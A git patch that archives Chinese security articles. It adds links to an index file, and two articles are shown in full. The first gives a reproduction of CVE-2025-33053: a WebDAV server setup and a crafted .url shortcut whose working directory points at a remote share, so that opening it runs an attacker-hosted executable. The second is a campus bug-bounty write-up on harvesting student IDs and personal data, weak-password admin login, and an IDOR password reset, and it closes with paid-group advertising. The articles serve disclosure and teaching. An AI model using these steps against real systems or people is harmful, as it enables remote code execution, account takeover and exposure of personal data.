From cd8fe3a5dbd08d57d184c101631493953f4ccb94 Mon Sep 17 00:00:00 2001 From: test Date: Tue, 24 Jun 2025 08:28:39 +0000 Subject: [PATCH] =?UTF-8?q?=E3=80=90CVE=E2=80=912025=E2=80=9149144?= =?UTF-8?q?=E3=80=91Notepad++=E6=8F=90=E6=9D=83=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?=E5=86=85=E7=BD=91=E6=A8=AA=E8=A1=8C=EF=BC=9ACVE-2025-33073=20?= =?UTF-8?q?=E5=AE=9E=E6=88=98=E5=9C=BA=E6=99=AF=E5=88=A9=E7=94=A8=E5=85=A8?= =?UTF-8?q?=E6=B5=81=E7=A8=8B=E6=8C=87=E5=8D=97=20|=20=E9=99=84=E5=88=A9?= =?UTF-8?q?=E7=94=A8=E5=B7=A5=E5=85=B7=E3=80=81Notepad++=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=20PoC=20=E5=8F=91=E5=B8=83=EF=BC=8C=E5=8F=AF=E6=8F=90=E5=8D=87?= =?UTF-8?q?=E6=9D=83=E9=99=90=E8=87=B3=20NT=20AUTHORITY\SYSTEM=E3=80=81?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E9=A2=84=E8=AD=A6=20|=20Veeam=20Backup=20&?= =?UTF-8?q?=20Replication=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E6=BC=8F=E6=B4=9E=E3=80=81=E3=80=90=E9=AB=98=E5=8D=B1?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E9=A2=84=E8=AD=A6=E3=80=91Notepad++=E6=9D=83?= =?UTF-8?q?=E9=99=90=E6=8F=90=E5=8D=87=E6=BC=8F=E6=B4=9E(CVE-2025-49144)?= =?UTF-8?q?=E3=80=81Notepad++=20=E5=AD=98=E4=B8=A5=E9=87=8D=E6=8F=90?= =?UTF-8?q?=E6=9D=83=E6=BC=8F=E6=B4=9E,PoC=20=E5=B7=B2=E6=B5=81=E5=87=BA?= =?UTF-8?q?=E3=80=81OpenVPN=E9=A9=B1=E5=8A=A8=E6=9B=9D=E4=B8=A5=E9=87=8D?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=EF=BC=8C=E5=8F=AF=E8=87=B4Windows=E7=B3=BB?= =?UTF-8?q?=E7=BB=9F=E5=B4=A9=E6=BA=83=E3=80=81n8n=E5=AE=89=E5=85=A8?= =?UTF-8?q?=EF=BC=9A=E4=BB=8E=E6=BC=8F=E6=B4=9E=E5=88=A9=E7=94=A8=E5=88=B0?= =?UTF-8?q?=E9=98=B2=E5=BE=A1=E3=80=81=E7=A0=B4=E8=A7=A3=20JWT=EF=BC=9A?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E8=B5=8F=E9=87=91=E7=8C=8E=E4=BA=BA=E6=8C=87?= =?UTF-8?q?=E5=8D=97=EF=BC=88=E7=AC=AC=E4=BA=8C=E9=83=A8=E5=88=86=EF=BC=89?= =?UTF-8?q?=E3=80=81=E5=A8=81=E8=83=81=E6=83=85=E6=8A=A5=EF=BC=9ANotepad++?= =?UTF-8?q?=20=E6=9C=AC=E5=9C=B0=E6=8F=90=E6=9D=83=E6=BC=8F=E6=B4=9E=20|?= =?UTF-8?q?=20POC=E5=B7=B2=E5=85=AC=E5=BC=80=E3=80=81=E9=9B=B7=E7=A5=9E?= =?UTF-8?q?=E4=BC=97=E6=B5=8B=E6=BC=8F=E6=B4=9E=E5=91=A8=E6=8A=A52025.6.16?= =?UTF-8?q?-2025.6.22=E3=80=81CVE-2025-33053=20=E7=BD=91=E7=BB=9C=E5=BF=AB?= =?UTF-8?q?=E6=8D=B7=E6=96=B9=E5=BC=8F=E6=96=87=E4=BB=B6=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?EDUSRC-=E9=AB=98=E5=8D=B1=E6=BC=8F=E6=B4=9E-=E4=BB=8E=E4=BF=A1?= =?UTF-8?q?=E6=81=AF=E6=94=B6=E9=9B=86=E5=88=B0=E5=90=8E=E5=8F=B0=E5=A4=9A?= =?UTF-8?q?=E4=B8=AA=E8=B6=8A=E6=9D=83=E6=BC=8F=E6=B4=9E=E3=80=81=E4=BD=BF?= =?UTF-8?q?=E7=94=A8=20UDS=20=E8=87=AA=E5=8A=A8=E5=8F=91=E7=8E=B0=20ECU=20?= =?UTF-8?q?-=20UDS=E6=98=AF=E5=90=A6=E6=98=AF=E4=B8=80=E4=B8=AA=E5=AE=89?= =?UTF-8?q?=E5=85=A8=E6=BC=8F=E6=B4=9E=E3=80=81=E8=B6=85=E8=BF=8746000?= =?UTF-8?q?=E4=B8=AAGrafana=E5=AE=9E=E4=BE=8B=E6=9A=B4=E9=9C=B2=E4=BA=8E?= =?UTF-8?q?=E8=B4=A6=E6=88=B7=E6=8E=A5=E7=AE=A1=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?=E3=80=90AI=E9=AB=98=E5=8D=B1=E6=BC=8F=E6=B4=9E=E9=A2=84?= =?UTF-8?q?=E8=AD=A6=E3=80=91langchain-ai=E4=BF=A1=E6=81=AF=E6=B3=84?= =?UTF-8?q?=E9=9C=B2=E6=BC=8F=E6=B4=9E(CVE-2025-2828)=E3=80=81WinRAR=20?= =?UTF-8?q?=E5=AD=98=E5=9C=A8=E7=9B=AE=E5=BD=95=E9=81=8D=E5=8E=86=E8=BF=9C?= =?UTF-8?q?=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 19 +- ...捷方式文件远程代码执行漏洞.md | 62 ++++ ...信息收集到后台多个越权漏洞.md | 310 +++++++++++++++++ ...d++ 存严重提权漏洞,PoC 已流出.md | 67 ++++ ...可提升权限至 NT AUTHORITYSYSTEM.md | 119 +++++++ ...重漏洞，可致Windows系统崩溃.md | 84 +++++ ...在目录遍历远程代码执行漏洞.md | 26 ++ .../n8n安全：从漏洞利用到防御.md | 190 ++++++++++ ...ain-ai信息泄露漏洞(CVE-2025-2828).md | 31 ++ ...‑2025‑49144】Notepad++提权漏洞.md | 81 +++++ ...pad++权限提升漏洞(CVE-2025-49144).md | 37 ++ ... ECU - UDS是否是一个安全漏洞.md | 190 ++++++++++ ...利用全流程指南 附利用工具.md | 293 ++++++++++++++++ ...epad++ 本地提权漏洞 POC已公开.md | 116 +++++++ ...p & Replication远程代码执行漏洞.md | 44 +++ ...洞赏金猎人指南（第二部分）.md | 327 ++++++++++++++++++ ...rafana实例暴露于账户接管漏洞.md | 43 +++ ...众测漏洞周报2025.6.16-2025.6.22.md | 159 +++++++++ 18 files changed, 2197 insertions(+), 1 deletion(-) create mode 100644 doc/2025-06/CVE-2025-33053 网络快捷方式文件远程代码执行漏洞.md create mode 100644 doc/2025-06/EDUSRC-高危漏洞-从信息收集到后台多个越权漏洞.md create mode 100644 doc/2025-06/Notepad++ 存严重提权漏洞,PoC 已流出.md create mode 100644 doc/2025-06/Notepad++漏洞 PoC 发布，可提升权限至 NT AUTHORITYSYSTEM.md create mode 100644 doc/2025-06/OpenVPN驱动曝严重漏洞，可致Windows系统崩溃.md create mode 100644 doc/2025-06/WinRAR 存在目录遍历远程代码执行漏洞.md create mode 100644 doc/2025-06/n8n安全：从漏洞利用到防御.md create mode 100644 doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md create mode 100644 doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md create mode 100644 doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md create mode 100644 doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md create mode 100644 doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md create mode 100644 doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md create mode 100644 doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md create mode 100644 doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md create mode 100644 doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md create mode 100644 doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md diff --git a/data.json b/data.json index afb74f85..9ff5ff7f 100644 --- a/data.json +++ b/data.json @@ -15545,5 +15545,22 @@ "https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650611158&idx=3&sn=ded70f18ec0a6f9ca8caba82488f97e3": "SRC | 一次从0到1的逻辑漏洞挖掘之旅", "https://mp.weixin.qq.com/s?__biz=MzA3NjU5MTIxMg==&mid=2650575572&idx=1&sn=b474aa1f66643dded82ef017e74f10cc": "上线前还在修漏洞？告别救火模式，试试边开发边找漏洞的国舜方案！", "https://mp.weixin.qq.com/s?__biz=Mzk0MjY1ODE5Mg==&mid=2247486298&idx=1&sn=44fa8b1202c28d403d448d9a89a29654": "工具集：泛微E-cology9 SQL 注入漏洞批量检测工具", - "https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524896&idx=1&sn=6362d0f2560274fc642f792dcffaf2f6": "黑客据称在黑客论坛上出售Intelbras路由器的0-day漏洞利用" + "https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524896&idx=1&sn=6362d0f2560274fc642f792dcffaf2f6": "黑客据称在黑客论坛上出售Intelbras路由器的0-day漏洞利用", + "https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247484831&idx=1&sn=7375e6ef426b4fd5a0821baee05fcf67": "【CVE‑2025‑49144】Notepad++提权漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg4NDU4OTQ1NA==&mid=2247484735&idx=1&sn=af7af64dc94f3a3e03211889d55b5fb6": "内网横行：CVE-2025-33073 实战场景利用全流程指南 | 附利用工具", + "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531265&idx=1&sn=19e218b029466f8e4f24059b96021fae": "Notepad++漏洞 PoC 发布，可提升权限至 NT AUTHORITY\\SYSTEM", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493483&idx=1&sn=9c590617818f23d89234775a6c23dac4": "漏洞预警 | Veeam Backup & Replication远程代码执行漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490297&idx=1&sn=e295cee3d68a7199efefddfb2c56c791": "【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144)", + "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247500027&idx=1&sn=ada8dcbff73f3fb9ecd263cc0d15448f": "Notepad++ 存严重提权漏洞,PoC 已流出", + "https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649788722&idx=1&sn=de75400767615e978695a98613796da8": "OpenVPN驱动曝严重漏洞，可致Windows系统崩溃", + "https://mp.weixin.qq.com/s?__biz=MzI3ODk3ODE2OA==&mid=2247484447&idx=1&sn=bc4dfbb6ff0e2b7d8cfb9f60918bf17a": "n8n安全：从漏洞利用到防御", + "https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247506770&idx=1&sn=b43532f3f972ae1cc74a3ac4cf9c3ff4": "破解 JWT：漏洞赏金猎人指南（第二部分）", + "https://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247512932&idx=1&sn=20365ad5978c47084a2fe90b8593d2ca": "威胁情报：Notepad++ 本地提权漏洞 | POC已公开", + "https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652503440&idx=1&sn=d8b69e0070a73f607d010c0c6158d535": "雷神众测漏洞周报2025.6.16-2025.6.22", + "https://mp.weixin.qq.com/s?__biz=MzI3NDEzMDgzNw==&mid=2247485180&idx=1&sn=67de912aaaff345f53ddce1ec5491e9f": "CVE-2025-33053 网络快捷方式文件远程代码执行漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492076&idx=1&sn=c161a60e6baa6ab0e5c752b83c22a82c": "EDUSRC-高危漏洞-从信息收集到后台多个越权漏洞", + "https://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247625266&idx=1&sn=7d747f1cb8f470b24f724c87fde28ece": "使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247583238&idx=2&sn=353765459c0cc7e6976ff211a8b1eab9": "超过46000个Grafana实例暴露于账户接管漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490297&idx=3&sn=39b54018862cbe1a46157a367bcf2354": "【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828)", + "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247500027&idx=2&sn=53f5863b82d57df201da83c7c6919937": "WinRAR 存在目录遍历远程代码执行漏洞" } \ No newline at end of file diff --git a/doc/2025-06/CVE-2025-33053 网络快捷方式文件远程代码执行漏洞.md b/doc/2025-06/CVE-2025-33053 网络快捷方式文件远程代码执行漏洞.md new file mode 100644 index 00000000..6403b86e --- /dev/null +++ b/doc/2025-06/CVE-2025-33053 网络快捷方式文件远程代码执行漏洞.md @@ -0,0 +1,62 @@ +# CVE-2025-33053 网络快捷方式文件远程代码执行漏洞 +原创 毕方安全实验室 BeFun安全实验室 2025-06-24 06:32 + +  + +# CVE-2025-33053 网络快捷方式文件远程代码执行漏洞 +## 背景 + +微软6月修复了一个网络快捷方式的漏洞，由checkpoint捕获的APT组织**Stealth Falcon** +样本中发现的。 +## 复现 + +设置.url +文件的WorkingDirectory +为远程恶意服务器的webdav +文件夹, 在打开时会调用iediagcmd.exe +, 进而调用同目录下的route.exe +, 因为工作文件夹设置成了恶意服务器上的路径, 就会启动恶意服务器的route.exe +, 具体复现如下: +### 创建webdav服务器 + +安装： +``` +sudo apt update && sudo apt upgrade -ysudo apt install apache2 apache2-utils -ysudo a2enmod davsudo a2enmod dav_fssudo systemctl restart apache2sudo mkdir -p /var/www/webdavsudo chown www-data:www-data /var/www/webdavsudo chmod 755 /var/www/webdavsudo vim /etc/apache2/sites-available/webdav.conf +``` + +配置文件： +``` +    ServerAdmin webmaster@localhost    DocumentRoot /var/www/webdav            Options Indexes FollowSymLinks        AllowOverride None        DAV On        Require all granted        ErrorLog ${APACHE_LOG_DIR}/webdav_error.log    CustomLog ${APACHE_LOG_DIR}/webdav_access.log combined +``` + +重启： +``` +sudo a2ensite webdav.confsudo a2dissite 000-default.confsudo systemctl reload apache2 +``` + +从本地计算机复制一份iediagcmd.exe +到webdav +文件夹, 然后把calc.exe +复制到webdav +文件夹里。 +### 制作URL文件 + +新建一个txt，写入以下内容，WorkingDirectory +设置为远程服务器的路径： +``` +[InternetShortcut]URL=C:\Program Files\Internet Explorer\iediagcmd.exeWorkingDirectory=\\192.168.146.138@80/DavWWWRoot\ShowCommand=7IconIndex=70IconFile=C:\Windows\System32\SHELL32.dll +``` + +可以通过IconFile +和IconIndex +来设置url文件的图标 +## 最终效果 + +## 参考 +- • CheckPoint的文章（https://research.checkpoint.com/2025/stealth-falcon-zero-day/） + + + +  + + diff --git a/doc/2025-06/EDUSRC-高危漏洞-从信息收集到后台多个越权漏洞.md b/doc/2025-06/EDUSRC-高危漏洞-从信息收集到后台多个越权漏洞.md new file mode 100644 index 00000000..cf0103f3 --- /dev/null +++ b/doc/2025-06/EDUSRC-高危漏洞-从信息收集到后台多个越权漏洞.md @@ -0,0 +1,310 @@ +# EDUSRC-高危漏洞-从信息收集到后台多个越权漏洞 +原创 花师傅 神农Sec 2025-06-24 04:26 + +扫码加圈子 + +获内部资料 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "") + + +# + +网络安全领域各种资源，EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章，以及工具分享、前沿信息分享、POC、EXP分享。 +不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（知识星球优惠卷）。 +# + + +**从信息收集到后台多个越权漏洞** + + +## 0x1 前言 + +哈咯，师傅们！好久没有在平台更新文章了，最近想着把之前EDUSRC的修复的一个高危漏洞给师傅们分享下，然后这里也不希望师傅们进行一些非法测试，有时间可以去多试试挖，然后最近这两年比较火的小程序漏洞建议师傅们看看。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXVibn6GLacmLGDDxvBpUaw8kRs3mJ1YiaN9ibebfEEU0mhmZ0B3U3gPV4Q/640?wx_fmt=png&from=appmsg "") + +这个漏洞主要是前期的一个账号密码收集，因为有了账号密码能够进入后台，后台的很多功能点我们才可以进行测试，特别是后台的越权漏洞。然后关于账号密码的收集，具体可以看我之前在社区平台写的 一些文章（大佬勿喷）。 + +## 0x2 信息收集 +### 一、猜测注册接口 + +这里说的信息收集，我下面会结合之前在社区平台分享的文章一起来说，因为之前的写的蛮详细了，就不再多说了。关于进行EDUSRC的测试，很多师傅问我要是没有账号密码怎么办，web前台登陆不进去是不是就寄寄了呢？ + + +我想说的不是，其实你账号密码是可以通过信息收集去拿到的，但是要是没有拿到其实问题也不是很大，因为学校的系统很多，站点不止这一个，有些系统，都是可以注册，但是有些系统可能说注册接口被隐藏了，举个例子，前段时间大火的若依系统，其实是有注册接口的，但是很多都会被开发给隐藏了，这个时候可以进行接口拼接。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaX4t4h8TtNseDpKdU3gSCLLljfCGPaSTDJ4meX5A3l1JCLIkFk98lIQQ/640?wx_fmt=png&from=appmsg "") + + +通过在 url 中直接添加/register 或者在 js 中进行寻找”register“ 成功进入到注册地点。 +``` +/register +/register.php +/register.jsp +/register.html +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXhv180kX2bl2NBalXibiavNA8ptIsCqiazcmYnLUaMLMbos58VYNNYg0BA/640?wx_fmt=png&from=appmsg "") + + +还有就是很多人会遗忘的js代码，建议师傅们没有思路了可以看看这里，有些开发也会把账号密码写在js里面，方便自己查看，然后这里也建议师傅们可以去学习下JS代码审计、加解密之类的，各种断点、调试操作。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXnJ2b53pXrjbWLo5OBh8nQibZMphwzNcbP3BECIWArN1PCIO4oXSuVqw/640?wx_fmt=png&from=appmsg "") +### +### 二、各种信息收集打法 + +这篇文章主要是就是分享通过奖学金名单泄露学号，然后去看那个系统登陆页面，有没有那种账号密码提示，有些默认账号是学号，密码都是一样的初始化，比如：学号@abc等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXzSe8vhtf3hW5NyFFBKFofMCG9kvjJaBJTUIFrUrAFic47uXW6zAEEzA/640?wx_fmt=png&from=appmsg "") + + +师傅们可以看到，像国家奖学金的公告都是之间公开的信息，像师傅们平常不知道怎么进行检索学号时，不妨可以使用这个非常简单，且很好用的方法进行一个学号检索 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXuO5vSG1sWtibNBn4XP16X3F0QWD3xSYYHBoxDQ2vqWZA60NdAcicJ6kg/640?wx_fmt=png&from=appmsg "") + + +通过一些Google语法或者一些操作，可以找到网上泄露的敏感信心，比如：xh、sfz、xm、sjh等 + +这里给师傅们附上一些好用的Google语法 +``` +1.site:域名 intext:管理|后 台|登陆|用户名|密码|验证码|系统|帐号|manage|admin|login|system + +2.site:域名 inurl:login|admin|manage|manager|admin_login|login_admin|system + +3.site:域名 intext:"手册" + +4.site:域名 intext:"忘记密码" + +5.site:域名 intext:"工号" + +6.site:域名 intext:"优秀员工" + +7.site:域名 intext:"身份证号码" + +8.site:域名 intext:"手机号" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXoGcG8PKz04t9jP4ianbJ5AN5lDctWbl9Kz2Iiara9Aiajs9Dibwribtqibcw/640?wx_fmt=png&from=appmsg "") + + +很多种挖掘EDUSRC时的一些信息收集方法，建议小白师傅可以多看看。 + +当然你也可以加入班群，表白墙等容易泄露信息的地方。（如果你语雀玩的好，你可以通过语雀去查找重要信息） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXzmc9R0fKtARj4IvsZpNck3YxOEgoLxU704E2OpZticOickNhmOPdGCZA/640?wx_fmt=png&from=appmsg "") + + +包括使用抖音平台，可以去检索某某大学录取通知书之类的信息，很容易可以找到该学校的一些用户信息，比如常见的学号和身份证号，都是可以收集的，然后对于某些大学的门户网站，是不是可以进行渗透一波了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaX9F8FqgWSkTsn2XRrQJPfr2z7Ks7QbKT1eCNcedoYG8eAMvtY38fvPQ/640?wx_fmt=png&from=appmsg "") +## 0x3 渗透测试思路 +### 一、弱口令泄露敏感信息漏洞 + +这里我就是先按照上面的思路进行收集，找找泄露的账号密码、学号、身份证信息等，然后通过猜测密码进行弱口令登陆，找到系统登陆后台，可以多尝试几个系统 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXsvbwiadiaPaxBDiaicghYicCG1AE94flHIiaF7A8uj1uKIkkibp0M3CTSrFbQ/640?wx_fmt=png&from=appmsg "") + +且这次我是收集到一个学校管理员老师的账号，进行登陆的，账号是教职工号，密码是123456 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXaBe3CvmyNuEJ2EPrzJnD1YdWwazfcOc9jpuicDcrgyj9fA0ic9UjyOmA/640?wx_fmt=png&from=appmsg "") + +这个老师的账号权限比较高，可以看到，可以进行一些修改和删除的操作，且学校老师的账号密码都可以重置，这样的弱口令如果要是在众测或者企业src中，都有好几千的赏金，所以有时候别瞧不起弱口令 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXnPWwgibpsaBbSjcOo2hL4RK3wiaNCOAcFr565Ql5oXmcV44qpqiatJ9TQ/640?wx_fmt=png&from=appmsg "") +### 二、越权漏洞 + +这里直接创建两个老师的账号（都是普通老师账号，看不到别的老师的信息），然后和我这个账号一起测试下越权，也就是企业src常用的A、B账号测试越权漏洞的手法了 + +这里我直接先测试的是重置密码的接口，尝试看看有没有越权操作，登陆A老师账号，点击重置，再抓包，保存这个接口和后面的参数值 +``` +/personnelManagement/TeacherManagement/xxxx +``` + +然后再登陆B账号，进行上面的操作，再把后面的参数修改成A账号的，然后返回包的数据包显示修改成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXrjqwvpbibE7kRLq2FtElnzVoTnzETuKcXJfZHJQibxurWoxK6icJeTT9w/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXR2C7Zc9qSIDW1dynsN3Bib4cR6SzE0ZokXHqOJIDYiadXzicCjrsia4x8A/640?wx_fmt=png&from=appmsg "") + +尝试使用修改后的密码去登陆A账号，显示登陆成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaX0EciawnmCU1z6KQpCLAGiaOFdT3FnYenEXNZOYSBSurtS72bUkGeY02Q/640?wx_fmt=png&from=appmsg "") + +到这里这个越权就给大家分享完了，其实这个系统后台有好几个功能点是存在越权漏洞的，但是操作思路都差不多，也就不全写上去了，就拿最严重的修改密码的越权给师傅们演示下即可。 + +## 0x4 总结 + +到这里这篇文章就给师傅们分享完了，其实后面的操作不难，主要是前期的一个信息收集，特别是对于后台登陆系统，能够找到账号密码进去测试，特别是敏感信息和敏感操作多的（众测和企业src这样的弱口令赏金蛮多），然后建议新手师傅们要是web搞不来，可以去测试下小程序，然后有突破再转web端测试。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaXRocjD06cajB3AWeMFJ0HoPa3Ekoicd3wfJibgJOLXgSwz9pUVlnqp0wA/640?wx_fmt=png&from=appmsg "") + + +**内部小圈子详情介绍** + + + +我们是 +神农安全 +，点赞 + 在看 + 铁铁们点起来，最后祝大家都能心想事成、发大财、行大运。 + +![](https://mmbiz.qpic.cn/mmbiz_png/mngWTkJEOYJDOsevNTXW8ERI6DU2dZSH3Wd1AqGpw29ibCuYsmdMhUraS4MsYwyjuoB8eIFIicvoVuazwCV79t8A/640?wx_fmt=png&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap086iau0Y0jfCXicYKq3CCX9qSib3Xlb2CWzYLOn4icaWruKmYMvqSgk1I0Aw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**内部圈子介绍** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap08Z60FsVfKEBeQVmcSg1YS1uop1o9V1uibicy1tXCD6tMvzTjeGt34qr3g/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +**圈子专注于更新src/红蓝攻防相关：** + +``` +1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例 +2、知识星球专属微信“小圈子交流群” +3、微信小群一起挖洞 +4、内部团队专属EDUSRC证书站漏洞报告 +5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防） +6、分享src挖掘技巧tips +7、不定期有众测、渗透测试项目（一起挣钱） +8、不定期有工作招聘内推（工作/护网内推） +9、送全国职业技能大赛环境+WP解析（比赛拿奖） +``` + + + + +**内部圈子** +**专栏介绍** + +知识星球内部共享资料截屏详情如下 + +（只要没有特殊情况，每天都保持更新） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibRSekfPpgmzg6Pn4yH440wEZhQZaJaxJds7olZp5H8Ma4PicQFclzGbQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibgpeLSDuggy2U7TJWF3h7Af8JibBG0jA5fIyaYNUa2ODeG1r5DoOibAXA/640?wx_fmt=png&from=appmsg "") + + +**知识星球——** +**神农安全** + +星球现价  +￥45元 + +如果你觉得应该加入，就不要犹豫，价格只会上涨，不会下跌 + +星球人数少于900人 45元/年 + +星球人数少于1000人 60元/年 + +（新人优惠卷20，扫码或者私信我即可领取） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUULMWYYicxI1oIZZu1chARoMttntYglBBjtL5tbEeyjQxaibiablKM26xoGibI1Rc1QgOrQbDvia1suXA/640?wx_fmt=png&from=appmsg "") + +欢迎加入星球一起交流，券后价仅45元！！！ 即将满900人涨价 + +长期 +更新，更多的0day/1day漏洞POC/EXP + + + +**内部知识库--** +**（持续更新中）** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFu12KTxgSfI69k7BChztff43VObUMsvvLyqsCRYoQnRKg1ibD7A0U3bQ/640?wx_fmt=png&from=appmsg "") + + +**知识库部分大纲目录如下：** + +知识库跟 +知识星球联动，基本上每天保持 +更新，满足圈友的需求 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFhXF33IuCNWh4QOXjMyjshticibyeTV3ZmhJeGias5J14egV36UGXvwGSA/640?wx_fmt=png&from=appmsg "") + + +知识库和知识星球有师傅们关注的 +EDUSRC +和 +CNVD相关内容（内部资料） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFKDNucibvibBty5UMNwpjeq1ToHpicPxpNwvRNj3JzWlz4QT1kbFqEdnaA/640?wx_fmt=png&from=appmsg "") + + +还有网上流出来的各种 +SRC/CTF等课程视频 + +量大管饱，扫描下面的知识星球二维码加入即可 + 